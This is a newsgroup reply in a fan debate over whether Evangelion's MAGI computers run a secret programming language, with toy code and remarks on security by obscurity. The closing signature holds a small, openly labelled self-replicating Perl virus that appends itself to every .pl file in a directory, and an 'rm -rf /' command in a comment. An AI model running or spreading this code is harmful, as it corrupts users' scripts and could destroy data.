Scripsit illa aut ille Disaster <disaster@disfanfic.net>:
> "Rudolf Polzer" <AntiATField_adsgohere@durchnull.de> wrote:
> > Scripsit illa aut ille Disaster <disaster@disfanfic.net>:
> > > "Rudolf Polzer" <AntiATField_adsgohere@durchnull.de> wrote:
> > > > In 2004 there won't be many different languages from what we know
> now.
> > > > Especially if you think about they won't use a language for which
> there
> > > > isn't even one working and well optimizing compiler.
> > > >
> > > > If you want to create a supercomputer, you won't start with
> designing a
> > > > programming language. You'll start with thinking about what language
> you
> > > > might use, what processor's features you could use in order to
> optimize
> > > > and which other architecture details might help.
> > >
> > > Well, to start, are you aware of every programming language in the
> world
> > > today?
> >
> > No, but I am aware that the language used on the control terminal is a
> > C-like language. It uses {, } and indentation exactly like they are used
> > in current C, so syntactically it is a language derived from C. Of
> > course there might be differences, probably (or better: surely) another
> > library, some syntactic extensions, but mostly it is a "C-like language"
> > (as is C++, C#, Java, JavaScript).
> 
> So the most that you know is that it looks like it has some similarities
> to C.

Correct. Look at the current C-like languages.

> > > Do you know if there are any programs that are secret and that you
> > > have not been made aware of, because they are secret?
> >
> > There's no reason for a programming language to be secret.
> 
> The reason is not the important here. What is worth keeping secret in your
> opinion is not a consideration to someone else who has made a secret code
> because they felt that they needed to keep it secret. Heh, I bet that they
> probably haven't even heard of you.

Again: even if the programming language is secret, it is still readable
code (that's what a programming language is for). So anyone can read and
understand the program in the unknown language - all that's missing is a
compiler. But of course one can transform a source code in an unknown
langugage into a source code in a known one.

So if you see:

define f<integer> {x<integer>}
  pow {x, 2} + 17 --> y<integer>
  x * y --> f

define g<integer> {x<string>}
  %% push &x
  %% call atoi
  %% mov &g, @result

you exactly know what f and g do.

Even this is understandable:

| :prime
|   argv(0)->p
|   !R 0
|   ?Fx 2 sqrt(p) 1
|     ?I = % p x 0
|       ?E
|     ??
|   ??
|   !R 1
| ??
| 
| 1->x
| ?W1
|   + x 1->x
|   ?I prime(x)
|     printf (""%d is a prime\n", x)
|   ?!
|     printf (""%d is not a prime\n", x)
|   ??
| ??
| 
| ?E

That's a programming language I invented for my calculator: an
easy-to-interpret, but hard-to-read language. But from what you see you
can conclude the meaning of every symbol.

So there is no point of having a secret programming language: as soon as
someone gets some source code written in it, the language is revealed,
and if nobody gets source written in it, he only has the description of
the language (not even a compiler) and cannot do any harm using it
(not more harm than using assembler).

> > > It's perfectly plausible that the MAGI use their own language
> > > especially as they have very special and unique processors.
> >
> > If you call it an own language because some small things (like the
> > library or some keywords) have changed: Yes.
> 
> No, I have no idea what is involved in a programming language, I just know
> that the MAGI are very different to anything we have to day.

It is, and I did not say the visible thing was MAGI's programming
language. More like a macro language for the control terminals.

> Different
> things talk and understand processes differently. This needs a language
> suited to that. The MAGI run very unique activities too. A custom language
> would not surprise me.

A programming language suitable for MAGI cannot be structured like C,
because there is no real control flow. Especially it cannot look like C
(indentation).

> > > So what? I say that the MAGI use there own language. Why? Because you
> > > can't determine which they use for sure and they are very unique and
> > > specialized units.
> >
> > Probably not really "an own language". It seems more like a language
> > derived from a current one.
> 
> An evolved entity is still it's own entity. That which is derived from C
> is no longer C.

Therefore C is not C because there are different standards about it:
K&R, ANSI C, ANSI C99.

> > If you design a new language that is not derived from a current one, you
> > won't find programmers learning it.
> 
> Which is a good reason why NERV would use it in the first place.

Security by obscurity is no security concept at all. They aren't that
stupid.

Anyone can read the source of GPG, but did anyone break the encryption?
Nobody except MS knows the Internet Explorer source, but there are known
security holes?

> > A big project like MAGI
> > cannot be done if the programmers first have to learn a completely new
> > programming language.
> 
> Of course it can! You just need to train them in the new language first.

That costs too much time.

> > Also, I do not think MAGI is programmed in the language displayed on the
> > control terminals. Probably there is no "programming language" for MAGI
> > since MAGI is not a computer like you are sitting in front of. It's got
> > an I/O interface to receive commands and/or questions in some query
> > language and control terminals to create such queries. Those control
> > terminals do have macro languages, and that's what is visible on the
> > screen.
> 
> Even your brain has a programming language.

I forgot an adjective: imperative.


-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################